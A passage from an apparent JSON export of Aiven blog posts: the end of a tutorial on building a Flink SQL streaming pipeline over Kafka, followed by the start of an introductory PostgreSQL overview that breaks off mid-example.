up and running.\n\nHere's a quick summary of the required steps if you didn't follow the previous post. Clone the `aiven/flink-sql-cli-docker` repository with the following code in your terminal\n\n```bash\ngit clone https://github.com/aiven/flink-sql-cli-docker.git\n```\n\nNow open the `flink-sql-cli-docker` folder and start the docker compose:\n\n```bash\ncd flink-sql-cli-docker\ndocker-compose up -d\n```\n\nAt this stage, when running\n\n```bash\ndocker-compose ps\n```\n\nyou should get an output like this:\n\n```bash\nName                             Command               State                Ports              \n--------------------------------------------------------------------------------------------------------------\nflink-sql-cli-docker_jobmanager_1    /docker-entrypoint.sh jobm ...   Up      6123/tcp, 0.0.0.0:8081-\u003e8081/tcp\nflink-sql-cli-docker_sql-client_1    /docker-entrypoint.sh            Up      6123/tcp, 8081/tcp              \nflink-sql-cli-docker_taskmanager_1   /docker-entrypoint.sh task ...   Up      6123/tcp, 8081/tcp  \n```\n\nThis tells you that Flink's job manager, task manager and sql-client containers are all ready to be used.\n\n::banner[A fully managed service for Apache Flink for all your real time ETL and streaming analytics use cases.]{ctaText=\"Start your free trial\" ctaLink=\"https://aiven.io/flink\" title=\"Aiven for Apache Flink®\" background=\"https://cdn.sanity.io/images/sczeoy4w/production/c96d109662fa0afd283a3ce7fbd1af8a8005f682-64x64.svg\"}\n\n## 3. Create a Keystore for Kafka's SSL certificates\nAiven for Apache Kafka enables SSL authentication by default. To safely connect to it from Apache Flink, we need to use the Java Keystore and Truststore. We can generate them with the following command in our terminal, assuming we are in the `flink-sql-cli-docker` folder you created in the previous steps:\n\n```\navn service user-kafka-java-creds demo-kafka \\\n  --username avnadmin \\\n  -d settings/certs \\\n  -p password123\n```\n\nThe command creates a folder named `certs` under `settings` and stores the certificate files together with a Keystore and Truststore (named `client.keystore.p12` and `client.truststore.jks`), secured with the `password123` password string.\n\n## 4. Create some test data with Kafkacat\n\nNow we can use [Kafkacat](https://github.com/edenhill/kcat) to create some data. After installing it, let's create a file `kafkacat.config` under our `certs` folder with the following content:\n\n```\nbootstrap.servers=\u003chost\u003e:\u003cport\u003e\nsecurity.protocol=ssl\nssl.key.location=service.key\nssl.certificate.location=service.cert\nssl.ca.location=ca.pem\n```\n\nTo find the `\u003chost\u003e` and `\u003cport\u003e` parameters, use the following call:\n\n```\navn service get demo-kafka --format '{service_uri_params}'\n```\n\nNow open a new terminal, navigate to the `certs` folder, and execute this:\n\n```\nkafkacat -F kafkacat.config -P -t people\n```\n\nKafkacat sends every new line appearing in the terminal as message to Kafka in the `people` topic. Paste the following lines into the terminal:\n\n```\n{\"name\":\"Jon\",\"country\":\"USA\",\"age\":40}\n{\"name\":\"Ava\",\"country\":\"England\",\"age\":35}\n{\"name\":\"Pino\",\"country\":\"Italy\",\"age\":25}\n{\"name\":\"Carla\",\"country\":\"Italy\",\"age\":45}\n```\n\nFour messages have been sent to `people` topic in our Apache Kafka environment. Keep this window open - you'll use it again later to insert more messages.\n\n## 5. Define the source Kafka topic as Flink Table\nAs mentioned in the [previous post](https://github.com/aiven/sql-cli-for-apache-flink-docker), we can enter Flink's `sql-client` container to create a SQL pipeline by executing the following command in a new terminal window:\n\n```\ndocker exec -it flink-sql-cli-docker_sql-client_1 /bin/bash\n```\n\nNow we're in, and we can start Flink's SQL client with\n\n```\n./sql-client.sh\n```\n\nDefine a source for the `people` Kafka topic with the following code (replace the `\u003chost\u003e` and `\u003cport\u003e` parameters to correctly point to Kafka as mentioned):\n\n```\nCREATE TABLE people_source (\n name VARCHAR,\n country VARCHAR,\n age INT\n) WITH (\n  'connector' = 'kafka',\n  'property-version' = 'universal',\n  'properties.bootstrap.servers' = '\u003chost\u003e:\u003cport\u003e',\n  'topic' = 'people',\n  'scan.startup.mode' = 'earliest-offset',\n  'value.format' = 'json',\n  'properties.security.protocol' = 'SSL',\n  'properties.ssl.endpoint.identification.algorithm' = '',\n  'properties.ssl.truststore.location' = '/settings/certs/client.truststore.jks',\n  'properties.ssl.truststore.password' = 'password123',\n  'properties.ssl.keystore.type' = 'PKCS12',\n  'properties.ssl.keystore.location' = '/settings/certs/client.keystore.p12',\n  'properties.ssl.keystore.password' = 'password123',\n  'properties.ssl.key.password' = 'password123',\n  'properties.group.id' = 'my-working-group'\n);\n```\n\nThe command above defines a Flink table named `people_source` with the following properties:\n* Three columns: `name`, `country` and `age`\n* Connecting to Apache Kafka (`connector = 'kafka'`)\n* Reading from the start (`scan.startup.mode`) of the topic `people` (`topic`) which format is JSON (`value.format`) with consumer being part of the `my-working-group` consumer group.\n* Connecting via the `bootstrap.servers` and using the `SSL` security protocol (`properties.security.protocol`) with the `client.truststore.jks` and `client.keystore.p12` stores.\n\nAfter executing it, we should receive a message saying `[INFO] Table has been created.`. Please note that this doesn't mean it's working! We can test it properly by issuing the following sql statement from the `sql-client` terminal:\n\n```\nselect * from people_source;\n```\n\nWhich will result in\n\n```\n+/-                      name                   country                       age\n  +                       Jon                       USA                        40\n  +                       Ava                   England                        35\n  +                      Pino                     Italy                        25\n  +                     Carla                     Italy                        45\n```\nTo leave Flink's table view, press `Q`.\n\n### Solving the volume permission problem on Linux\nIf you're on Linux, you'll probably hit an error like this:\n\n```\n[ERROR] Could not execute SQL statement. Reason:\njava.nio.file.AccessDeniedException: /settings/certs/client.keystore.p12\n```\n\nThis error is caused by a couple of factors:\n* The `client.keystore.p12` file generated is by default readable only from the user who created it (`-rw -- --`)\n* The way docker-compose mounts the volumes: the folder where keystore files resides is owned by user root (`uid 1000`)\n\nThe combination of the two make the file `client.keystore.p12` inaccessible by Flink (executed by user `flink` with `uid 9999`). To solve the problem, make the keystore readable by the `flink` user by redefining the folder ownership:\n\nFind its id with the following command in a terminal from the `flink-sql-cli-docker` folder in your host:\n\n```\ndocker exec flink-sql-cli-docker_taskmanager_1 id flink\n```\nThe result should be similar to this:\n\n```\nuid=9999(flink) gid=9999(flink) groups=9999(flink)\n```\n\nNow we can use `flink`'s `uid` to set the `settings` folder ownership, always by executing the following command in the same terminal window (replacing the `9999` with `flink`'s `uid` from the above call if necessary)\n\n```\nsudo chown -R 9999 ./settings\n```\n\nAfter executing it, retry the `select * from people_source;` statement. It should now succeed.\n\n## 6. Transform and insert data\nNow it's time to see the beauty of Flink in action: we're going to set up a process that analyses streaming data coming from the `people` Kafka topic, calculates some **aggregated KPIs** and **publishes** them to a **target datastore**, in our case a new Kafka topic. And we're doing everything using only SQL statements.\n\nFlink is so flexible that you can run a similar exercise with a huge variety of technologies as sources or targets. The Kafka examples shown in this blog could be replaced with any JDBC database, local files, OpenSearch or Hive with only a few changes in our SQL definitions. The list of supported connectors can be found on [Flink's website](https://ci.apache.org/projects/flink/flink-docs-release-1.13/docs/connectors/table/overview/).\n\n### Defining the target Kafka topic as a Flink table\nFor the purposes of this article, let's assume we want to push aggregated data to a new Kafka topic containing the average age and number of people in a specific country. To do so, we first need to define Flink's target table structure with the following code in Flink's sql-cli terminal window (replacing, as before, the `\u003chost\u003e:\u003cport\u003e` section with Kafka's endpoint):\n\n```sql\nCREATE TABLE country_target (\n country VARCHAR,\n avg_age BIGINT,\n nr_people BIGINT,\n PRIMARY KEY (country) NOT ENFORCED\n) WITH (\n  'connector' = 'upsert-kafka',\n  'property-version' = 'universal',\n  'properties.bootstrap.servers' = '\u003chost\u003e:\u003cport\u003e',\n  'topic' = 'country_agg',\n  'value.format' = 'json',\n  'key.format' = 'json',\n  'properties.security.protocol' = 'SSL',\n  'properties.ssl.endpoint.identification.algorithm' = '',\n  'properties.ssl.truststore.location' = '/settings/certs/client.truststore.jks',\n  'properties.ssl.truststore.password' = 'password123',\n  'properties.ssl.keystore.type' = 'PKCS12',\n  'properties.ssl.keystore.location' = '/settings/certs/client.keystore.p12',\n  'properties.ssl.keystore.password' = 'password123',\n  'properties.ssl.key.password' = 'password123',\n  'properties.group.id' = 'my-working-group'\n);\n```\n\nThe above SQL creates a Flink table with three columns: `country` primary key, `avg-age`, and `nr_people`. The connector is `upsert-kafka` since we want to update the topic always with the most updated version of the KPIs per country (`PRIMARY KEY (country)`). The `WITH` clause specifies that we will push data to the `country_agg` Kafka topic using the same connection properties as the `people_source` connector.\n\nWhat's even cooler about this is that with a few small amendments to the `WITH` statement above, we could publish the result of our data pipeline to a completely different technology endpoint. An example of Flink's table definition of a database is provided in the article [Apache Flink SQL client on Docker](https://aiven.io/blog/apache-flink-sql-client-on-docker).\n\n### Setting up the data pipeline\nOnce the `country_target` destination endpoint is defined, we can finally create the SQL pipeline by defining the query aggregation logic and related insert statement. The following code provides exactly what we need, so we can paste it in Flink's sql-cli terminal window:\n\n```sql\ninsert into country_target\n  select country,\n  avg(age),\n  count(*)\n  from people_source\n  group by country;\n```\n\nWe should receive a message telling us that our SQL pipeline was successfully deployed, like this:\n\n```\n[INFO] Submitting SQL update statement to the cluster...\n[INFO] Table update statement has been successfully submitted to the cluster:\nJob ID: 95b57225d702ab9c9402daba10fe6a84\n```\n\nNow if we query the `country_target` table from Flink's SQL client with:\n\n```\nselect * from country_target;\n```\n\nWe should see something like this:\n\n```\n+/-                   country                   avg_age                 nr_people\n  +                       USA                        40                         1\n  +                   England                        35                         1\n  +                     Italy                        25                         1\n  -                     Italy                        25                         1\n  +                     Italy                        35                         2\n```\n\nThis tells us that we have one entry for `USA` and `England` as expected, but three entries for `Italy` - which is weird, since we only pushed two records for that country. This is becasue we want to keep only the current KPIs status, and are experiencing Flink's sql-client `changelog` result-mode. The above result tells us that we had, in order:\n\n1. Insert entry for `Italy` with `1` people of average age of `25` -\u003e Sign `+`\n2. Delete entry #1                                                 -\u003e Sign `-`\n3. Insert entry for `Italy` with `2` people of average age of `35` -\u003e Sign `+`\n\nFlink's `changelog` view is great if we want to check how KPIs have been calculated over time. On the other hand, if we just want to browse the up-to-date situation we can move to Flink's `table` result mode by executing the following in Flink's sql-cli terminal:\n\n```bash\nSET execution.result-mode = table;\n```\n\nAnd now, when re-issuing the `select * from country_target;` it will show just the current situation:\n\n```bash\ncountry                   avg_age                 nr_people\n    USA                        40                         1\nEngland                        35                         1\n  Italy                        35                         2\n```\n\n## 7. Check the pipeline output\nNow we want to verify that the Flink records have been successfully written to the desired Kafka topic. From a new terminal window positioned on the `flink-sql-cli-docker/settings/certs` we can execute this:\n\n```bash\nkafkacat -F kafkacat.config -C -t country_agg\n```\n\nThe command will start Kafkacat in consumer mode (`-C`) listening on topic `country_agg` (the same that we used in Flink's table definition). The output will be the list of updated records on the various KPIs:\n\n```json\n{\"country\":\"USA\",\"avg_age\":40,\"nr_people\":1}\n{\"country\":\"England\",\"avg_age\":35,\"nr_people\":1}\n{\"country\":\"Italy\",\"avg_age\":25,\"nr_people\":1}\n{\"country\":\"Italy\",\"avg_age\":35,\"nr_people\":2}\n% Reached end of topic country_agg [0] at offset 4\n```\n\nIf we now add a row to our `people` topic via the first Kafkacat window in producer mode, thus:\n\n```\n{\"name\":\"Mark\",\"country\":\"England\",\"age\":37}\n```\n\nWe can immediately see the streaming pipeline in action with a new line appearing in the `country_agg` Kafka topic on the Kafkacat consumer terminal, containing the updated `avg_age` and `nr_people` KPIs:\n\n```\n{\"country\":\"England\",\"avg_age\":36,\"nr_people\":2}\n% Reached end of topic country_agg [0] at offset 5\n```\n\nWow, we just built a whole analytics pipeline!\n\nWe started by inserting JSON records into a Kafka topic with kafkacat representing our streaming input. The topic was then registered in Flink which we later configured to transform and aggregate the data. The output was finally stored in a new Kafka topic.\n\nThe whole pipeline was built with just three SQL statements and, with minor changes, we could quickly swap the data source or target using Flink as an \"abstraction layer\" on top of our data technology. This was a very simple use case, but Flink can be a game changer in a huge variety of situations. Your batch ETL now seems a bit dated, doesn't it?\n\n::banner[Use Aiven for Apache Flink® for data transformation, Aiven for Apache Kafka® for data streaming, and Aiven for PostgreSQL® for data storage/query.]{ctaText=\"Read tutorial\" ctaLink=\"https://aiven.io/docs/tutorials/anomaly-detection\" title=\"Build a streaming anomaly detection system\" theme=dark}\n\n## Build a streaming pipeline in pure SQL\nSQL is the best known and most loved language among data practitioners. The union of [Apache Kafka](https://aiven.io/kafka) and Flink provides a simple, highly available and scalable toolset that allows them to focus on building real time data pipelines rather than learning and debugging complex code. Flink SQL capabilities enhance all the benefits of building Kafka-based data hubs, with the capability of joining in external data assets and delivering data pipeline output to a huge variety of targets.\n\nAdditional resources that you might find interesting:\n* [An introduction to Flink](https://aiven.io/blog/introduction-to-apache-flink) on the Aiven blog\n* [An introduction to event-driven architecture](https://aiven.io/blog/introduction-to-event-driven-architecture)\n* [Apache Flink SQL client on Docker](https://aiven.io/blog/apache-flink-sql-client-on-docker), also on the Aiven blog\n* [Flink SQL Client Documentation](https://nightlies.apache.org/flink/flink-docs-release-1.14/docs/dev/table/sqlclient/) - to understand Flink SQL client functionality\n* [Flink - Apache Kafka SQL Connector](https://nightlies.apache.org/flink/flink-docs-release-1.14/docs/connectors/table/kafka/) - to check Apache Kafka table definition\n* [Flink - Apache Kafka Upsert SQL Connector](https://nightlies.apache.org/flink/flink-docs-release-1.12/dev/table/connectors/upsert-kafka.html) - to review Apache Kafka Upsert parameters\n* [Aiven Console](https://console.aiven.io/) - to create and manage your Apache Kafka cluster\n* [The future of data pipelines](https://aiven.io/blog/the-future-of-data-pipelines)\n\n## Next steps\nYour next step could be to check out [Aiven for PostgreSQL](https://aiven.io/postgresql \"Aiven for PostgreSQL\") and [Aiven for Apache Flink](https://aiven.io/flink \"Aiven for Apache Flink\").\n\nIf you're not using Aiven services yet, go ahead and sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"5Ry1OHE6tZ0LKPQxJ9XkJd","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"xf14JBMwWMJO4oL9NS3c9","_ref":"xf14JBMwWMJO4oL9NS3c9","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"1wgqjrglPyMfEWcMYN3YcQ","_ref":"1wgqjrglPyMfEWcMYN3YcQ","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-87fc53fc08a7716056a5ba920d0c8b3e5c4b4476-1567x844-jpg","_type":"reference"}},"publishedAt":"2021-06-02T00:00:00.000Z","related":[],"seo":{"metaDescription":"Apache Kafka® is the perfect base for a streaming application. Apache Flink® has the power of stateful data transformations. Together, they move data!","metaImage":{"alt":"","asset":{"_ref":"image-0ce3c6718cd7bec852dcd1010e4485a41a18a887-1567x844-png","_type":"reference"}},"metaTitle":"Creating SQL Pipelines with Apache Flink® \u0026 Apache Kafka®"},"slug":{"_type":"slug","current":"/blog/build-a-streaming-sql-pipeline-with-flink-and-kafka"},"subtitle":"Apache Kafka® is the perfect base for a streaming application. Apache Flink® has the power of stateful data transformations. Together, they move data!","title":"Streamline SQL Pipeline with Flink and Kafka"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"145w1kDoj7UfbaINvzIOg9","_rev":"jlE3yG3C5Lxk0cUOqcs7CI","_type":"post","_updatedAt":"2024-05-27T13:03:34Z","authors":[],"body":"This post is your **all-purpose PostgreSQL introduction**. We'll cover a lot of questions:\n- What is a PostgreSQL database?\n- What does PostgreSQL do, and what's special about it?\n- How does PostgreSQL work?\n- How does PostgreSQL fit into a data architecture?\n\nIn this post:\n\n1. [What is PostgreSQL and why you should care](#what-is-postgresql-and-why-you-should-use-it)\n2. [What does PostgreSQL do?](#what-does-postgresql-do)\n4. [PostgreSQL use cases and users](#postgresql-use-cases-and-users)\n5. [PostgreSQL features](#Postgresql-features)\n6. [How PostgreSQL does it](#how-postgresql-does-it)\n7. [Aiven for PostgreSQL](#aiven-for-postgresql)\n8. [Getting started with PostgreSQL at Aiven](#getting-started-with-postgresql-at-aiven)\n9. [Further reading](#further-reading)\n\n## What is PostgreSQL and why you should use it\n### Definition and uses\nPostgreSQL, also known as Postgres, is a flexible open-source object [relational database](https://en.wikipedia.org/wiki/Relational_database \"A relational database is a data store that presents data as relations, and uses relational operators to manipulate the data in tabular form | Wikipedia\") management system. PostgreSQL can handle a huge variety of [use cases](https://www.aiven.io/blog/use-cases-for-postgresql), from single machines to data warehouses to web services with many concurrent users. PostgreSQL uses and extends SQL (hence the name), and is broadly extensible to a range of use cases beyond mere transactional data.\n\nPostgreSQL is strongly supported by its [global development group](https://www.postgresql.org/community/contributors/) of companies and individual contributors.\n\nFor definitions of the most common SQL terms and concepts, which also apply to PostgreSQL, take a look at [(Postgre)SQL concepts and terms](https://www.aiven.io/blog/postgresql-concepts-and-terms)\n### What does PostgreSQL do?\nAs a relational database, **PostgreSQL stores data in tables** (called relations) containing the tuples representing _entities_ (such as documents and people) and _relationships_ (such as authorship). Relations hold fixed-type attributes representing entity properties (such as a title) along with a primary key. Attribute types can be either atomic (such as integer, floating point, or boolean) or structured (such as an array, nested JSON, or a procedure).\n\n![the parts of a postgresql table](//cdn.sanity.io/images/sczeoy4w/production/21808f951904d2a7f0445b2489a0b43768ae0d0b-3360x1750.png \"The parts of a PostgreSQL table\")\n\nPostgreSQL supports transactions with ACID properties. This means transactions must support four attributes:\n\n**Atomicity** — transactions are considered complete units; a transaction can either completely succeed or completely fail - in the case of failure, the database state is left unchanged.\n\n**Consistency** — a database, between transactions, can only exist in a valid state; all data written to the database must adhere to extant constraints, triggers, cascades and related combinations.\n\n**Isolation**, — a function of _concurrency control_, ensures that data is not corrupted by illegal or concurrent transactions — as transactions are treated as if they happened sequentially.\n\n**Durability** — ensures that a transaction remains committed even when the system fails — typically, completed transactions are recorded, for example, in a [write-ahead log](https://en.wikipedia.org/wiki/Write-ahead_logging).\n\n\u003c!-- ## PostgreSQL in your architecture\n --\u003e\n## PostgreSQL use cases and users\nAccording to the [db-engines](https://db-engines.com/en/ranking) ranking, PostgreSQL is the fourth most popular database management system (and most popular open source DBMS).\n\nToday in addition to enterprise users, a number of 3rd party vendors, consultancies and independent groups derive products from, consult, support, and offer auxiliary enhancements for PostgreSQL. There are also integrations with artificial intelligence (AI) and machine learning (ML), many cloud versions, hardware-optimized versions, and so forth. The [Use cases for PostgreSQL](https://www.aiven.io/blog/use-cases-for-postgresql) on our blog has more to say.\n\n::youtube[Building data pipelines with Kafka and PostgreSQL]{#Ca3TlklRhfs}\n\nBy far the biggest industry sector using PostgreSQL is the computer software industry, followed by information technology and services. Other industries include hospitals and health care, higher education, financial services, telecommunication, education, marketing and advertising. Government agencies, including the FBI, are also users.\n## PostgreSQL features\nFor more information about the types of features that PostgreSQL supports, there's a [great breakdown at PostgreSQL ](https://www.postgresql.org/about/), so we’ll look at just a few of the main ones here.\n\u003c!-- not sure how many of these actually qualify as \"PostgreSQL features\" --\u003e\n### Automatically updateable views\nIn addition to SQL support, PostgreSQL offers automatically updatable views. This means that a view resulting from a query will automatically update when a transaction updates the data serving that view.\n### Materialized views\nA materialized view is a data object that contains a given query’s results. You can query a materialized view just as you would a database table directly. They can also be refreshed on schedule, and must be because they are essentially a snapshot of the data at a certain point in time.\n### Triggers\nTriggers execute code in response to transactional or other changes to a table or view. When an item is updated in the inventory, you might want to automatically record the update time and the username performing the operation in dedicated columns for tracking purposes.\n### Foreign keys\n(See also [Primary key](#primary-key) Foreign keys exist to ensure valid references between the child and parent tables; for example, every row in the ``orders`` table needs to have a valid ``customer`` reference associated with the order itself.\n### Stored procedures\nStored procedures are maintained in the data dictionary of a database, and may contain several combined SQL procedures each. They provide applications access to commonly-used data validation, data manipulation, access control, or other methods. Stored procedures can be defined by users and run when needed.\n### Pub/sub logical replication\nPostgreSQL offers a means for publish/subscribe logical replication. Essentially, a PostgreSQL instance can act as an event cache between applications and event consumers.\n\n::youtube[Making Sense of PostgreSQL Logical Replication]{#NO4UFQGWR28}\n\n(You could check out this [Future PostgreSQL](https://aiven.io/blog/future-postgresql-improvement-to-the-replication-protocol) blog article where we cover new improvements to the replication protocol.)\n### Change data capture\nThere is also a means for [change data capture](https://aiven.io/blog/introducing-aiven-for-postgresql-change-data-capture), meaning that prior database changes can be rewound and replayed, a capability essential for disaster recovery.\n### Text search\nPostgreSQL can support the sort of SQL queries that look for column values based on some textual contents combined with wildcards, for example:\n\n```\nSELECT * from books WHERE column_name LIKE 'Zen%';\n```\n\nThis could return records containing book titles like \u003cu\u003eZen and the Art of Motorcycle Maintenance\u003c/u\u003e and \u003cu\u003eZen Flesh, Zen Bones\u003c/u\u003e. Those wildcards could be positioned also at the start of the search string. The same query, but with the search string as ```%Zen%``` could return the results above -- in addition to titles where ‘Zen’ isn’t the initial word in the string, like \u003cu\u003eThe Three Pillars of Zen\u003c/u\u003e and \u003cu\u003eThe Essential Teachings of Zen Master Hakuin\u003c/u\u003e.\n\nIn addition to text search, PostgreSQL supports a ```tsvector``` (a text-search) data type.\nThe function ```to_tsvector``` lets you create a list of tokenize a string to derive a ```tsvector```. ```to_tsquery``` is used to query the ```tsvector``` for occurrences of certain words or phrases.\n### Recursive queries\nPostgreSQL 14 methods to [generate recursive queries](https://www.postgresql.org/docs/current/queries-with.html). It also has [new SEARCH and CYCLE features](https://aiven.io/blog/explore-the-new-search-and-cycle-features-in-postgresql-14) that are very nifty for recursive queries.\n### json language support\nPostgreSQL enjoys excellent ```json``` language support. You can define table columns as [ ```json``` or ```jsonb``` data types](https://www.postgresql.org/docs/current/datatype-json.html) and [use ```json``` functions](https://www.postgresql.org/docs/current/functions-json.html) to parse and manipulate the content.\n### Concurrency\nPostgreSQL is one of the best-known examples of an open source database which supports concurrent ACID transactions. To achieve this, PostgreSQL may use multiple locks to serialize database changes. When concurrent changes are made, the first transaction may proceed (as a lock is invoked); the second pauses until the first commits or aborts.\n\nHere is an example. Imagine opening two terminal windows. In a ```psql``` session, you’d try:\n\n```\n\tCREATE TABLE records (\n\t  header text NOT NULL primary key,\n\t  info json NOT NULL\n\t);\n\n\tBEGIN;\n\tALTER TABLE records ADD COLUMN recent_update timestamp;\n```\n\nIn another ```psql``` session, you’d try to run:\n\n```\n\tSELECT * FROM records;\n```\n\n\u003e **Note:** Nothing happens until the first transaction is complete.\n\n### Reliability and disaster recovery\nBefore writing a full page image to disk, PostgreSQL [periodically writes](https://aiven.io/blog/introducing-aiven-for-postgresql-change-data-capture) to a write-ahead log (WAL). This enables PostgreSQL to recover from crashes by replaying the writes in the log.\n\nThe ```full_page_writes``` parameter in ```postgresql.conf``` can be toggled off if there is anything in the system preventing partial writes.\n\nHere's a further read on the topic on the Aiven blog: [Data and disaster recovery](https://aiven.io/blog/data-and-disaster-recovery).\n\nIndividual records in WALs are [checksummed](https://www.postgresql.org/docs/current/wal-reliability.html) by a CRC-32 check to validate correctness of record contents (upon restore operations), although there are a few items that bypass the checks, including data pages, and internal data structures.\n### Security\nPostgreSQL has a lot of ways to handle all kinds of security issues. For example, client connections are allowed only via local Unix socket by default (so, not via TCP/IP sockets) unless you use the ```-i``` switch to start the server backend. Also, you can blacklist client connections with the ```pg_hba.conf``` file in ```PG_DATA```.\n\nSuperuser rights to objects are one option to be able to perform a lot of different operations in PostgreSQL. For example, only the PostgreSQL superuser account can read the DB files themselves. By granting these privileges you can copy table data, create publications that publish data automatically, or create subscriptions. They are also important privileges for [logical replication](https://www.postgresql.org/docs/current/logical-replication-security.html).\n\nIn fact, each PostgreSQL user takes a username and password. You can assign users to _groups_, and then assign or restrict access to tables — or even rows — based on these group privileges.\n\nPostgreSQL also offers a range of [encryption options](https://www.postgresql.org/docs/12/encryption-options.html) like encryption for specific columns, data partitions, across a network, etc.\n\n[Server spoofing prevention](https://www.postgresql.org/docs/12/preventing-server-spoofing.html) works by creating a symbolic link to a relocated vulnerable socket file.\n### Extensibility\nPostgreSQL is [catalog-driven](https://hub.packtpub.com/postgresql-extensible-rdbms/): data dictionaries — system catalogs — hold information about the database itself, cells, columns, data types, functions, access methods, etc. These catalogs are tables in their own-right: user-queryable and modifiable.\n\nAs users can modify databases directly, as well as add dynamically-loadable code changes or user-defined functions (UDFs), many choose PostgreSQL for rapid prototyping applications and data structures.\n\nExtensibility is critical for many organizations with needs specific to a given industry or line of business. When traditional database systems fall short and business users are not themselves database experts, modifying the database may not interrupt availablity nor require core database engine modifications.\n\nIn fact, users want seamless solutions. With PostgreSQL you can seamlessly create your own data types, functions, aggregates, operators, operator classes (for index access), data wrappers, and so on, providing the tools and add-ons for domain-specific solutions.\n\nSometimes extensions become complete products in their own right. One concrete example: [PostGIS](https://postgis.net/), which has been modified to support location queries using geographic coordinates. Additionally, [Timescale] is PostgreSQL optimized for time series data.\n\nHere are some ways to use PostgreSQL together with other tools:\n- [Quickly develop REST APIs with PostgREST](https://aiven.io/blog/quickly-developing-rest-apis-with-postgrest)\n- [How to stand up multiregion PostgreSQL with Pulumi](https://aiven.io/blog/how-to-stand-up-multiregion-postgresql-with-pulumi)\n- [Aiven for PostgreSQL for your Go application](https://aiven.io/blog/aiven-for-postgresql-for-your-go-application)\n- [Add Aiven database magic to your Laravel project](https://aiven.io/blog/add-aiven-database-magic-to-your-laravel-project)\n\n### Tool support\nDevelopers these days can enjoy a number of [tools](https://dev.to/scalegrid/which-is-the-best-postgresql-gui-2019-comparison-27lc) to interact with the database that go way beyond psql. [pgAdmin](https://www.pgadmin.org/) supports PostgreSQL across the board and is a long-time favorite of DBAs and developers; we have [Aiven-specific setup instructions](https://aiven.io/docs/products/postgresql/howto/connect-pgadmin.html) available. Alternatively, you can [connect via psql](https://aiven.io/docs/products/postgresql/howto/connect-psql.html), another helpful terminal-based front-end tool.\n\n[DataGrip](https://www.jetbrains.com/datagrip/), from JetBrains, is a popular integrated development environment (IDE) that works cross-platform and with a range of databases. [```usql```](https://github.com/xo/usql) is a universal command-line interface that works with many databases natively. Finally, [OmniDB](https://github.com/OmniDB/OmniDB) is a complete collaborative workspace for PostgreSQL and other databases.\n\nIn addition to core PostgreSQL itself, Aiven developers have contributed to a number of PostgreSQL extensions, including [pghoard](https://github.com/aiven/pghoard) (for backup and restore), [pglookout](https://github.com/aiven/pglookout) (for replication monitoring and as a failover daemon), and a range of connectors. [Here's a full list of the extensions that work with Aiven versions.](https://aiven.io/docs/products/postgresql/reference/list-of-extensions.html)\n\nFor visualizing data, you can pick the open source analytics tool [Grafana](https://grafana.com/), for example. We've got instructions how to [integrate PostgreSQL and Grafana](https://aiven.io/docs/products/postgresql/howto/visualize-grafana.html) with the help of Aiven platform. Grafana is also a great tool to [monitor your PostgreSQL metrics](https://aiven.io/docs/products/postgresql/howto/report-metrics-grafana.html).\n\nAlternatively, check out how to [monitor the metrics with pgwatch2](https://aiven.io/docs/products/postgresql/howto/monitor-with-pgwatch2.html).\n\nIn terms of orchestration, you can [manage your PostgreSQL database with Terraform](https://aiven.io/blog/aiven-databases-and-terraform-for-fun-and-profit).\n\n### Delegating management of your PostgreSQL database\nAbove we covered many exciting features of how PostreSQL helps you to be in charge of data operations. However, this is not the whole story of managing your database. Working with any database involves a lot of routine operations to achieve high availability, steady performance and bulletproof database security.\n\nAs your database and your applications grow, these routine operations will consume significant time and involve substantial cost of accidental errors. That's why at some point of time you might consider using professional support to manage your PostgreSQL database and use external help to perform database administration tasks.\n\nAmong these critical error-prone routine operations are\n\n- performing [regular backups](https://aiven.io/docs/products/postgresql/concepts/pg-backups.html) and [restoring](https://aiven.io/docs/products/postgresql/howto/restore-backup.html) data when needed;\n- staying on top of the latest security updates and patches, including a straightforward way to [perform major version upgrade](https://aiven.io/docs/products/postgresql/howto/upgrade.html) and to [control failover procedures](https://aiven.io/docs/products/postgresql/concepts/upgrade-failover.html);\n- maintaining very large numbers of connections to a database with the help of [connection pooling](https://aiven.io/docs/products/postgresql/concepts/pg-connection-pooling.html).\n\nRelying on managed services also gives advantages in [using and managing extensions](https://aiven.io/docs/products/postgresql/howto/manage-extensions.html), where the recommended extensions are supported and maintained in the same way as PostgreSQL database.\n\nDelegating management of your PostgreSQL database is not an easy choice. However, it can be a two-way door decision. At the end of the day, you can always go back at managing your servers later on, if you stick to open source solutions.\n\n### ...and so much more\nThe PostgreSQL [home page](https://www.postgresql.org/about/) lists tons of other features - supported **data types**, more in-depth **data integrity** features, features supporting **concurrency**, **disaster recovery features**, **security features**, **extensibility** and **text search**, including international character support.\n\n## How PostgreSQL does it\nCore PostgreSQL mandates that data be fully-structured, requiring that it adheres to a specific schema; records added to a database that do not comply will be rejected.\n\n__NOTE:__ PostgreSQL has since evolved to also support JSON/JSONB, XML and other common formats for data ingress/egress.\n\nAs an open-source database management system, PostgreSQL users can continually evolve their databases, while switching languages and without need to recompile. While SQL conformance is ongoing, new features are being constantly added. Let’s look at how objects are created and manipulated in PostgreSQL.\n\nAs SQL is quite expansive, we’ll only touch on some basics here.\n\n### DDL - data definition language\nData definition language (DDL) is used to define data structures, and includes the following commands:\n* Data type declaration\n* ```CREATE``` - creates a new database, table, index or procedure.\n* ```ALTER``` - modifies an existing database object.\n* ```DROP``` - deletes an existing database, table, index or procedure.\n* ```TRUNCATE TABLE``` - empties a table for reuse.\n\nFor example:\n\n```\n\tCREATE DATABASE LIBRARY;\n\n\tCREATE TABLE Borrowers (\n\t  id INT PRIMARY KEY,\n\t  first_name VARCHAR(20) not null,\n\t  last_name VARCHAR(50) not null,\n\t  birth_date DATE not null);\n\n\tALTER TABLE Borrowers ADD COLUMN years_member INT NOT NULL CHECK years_member \u003e 0;\n\n\tCREATE TABLE books (\n\t  id INT PRIMARY KEY,\n\t  title VARCHAR(50),\n\t  author VARCHAR(50)\n\t  publication_date DATE not null);\n\n\t  /* after 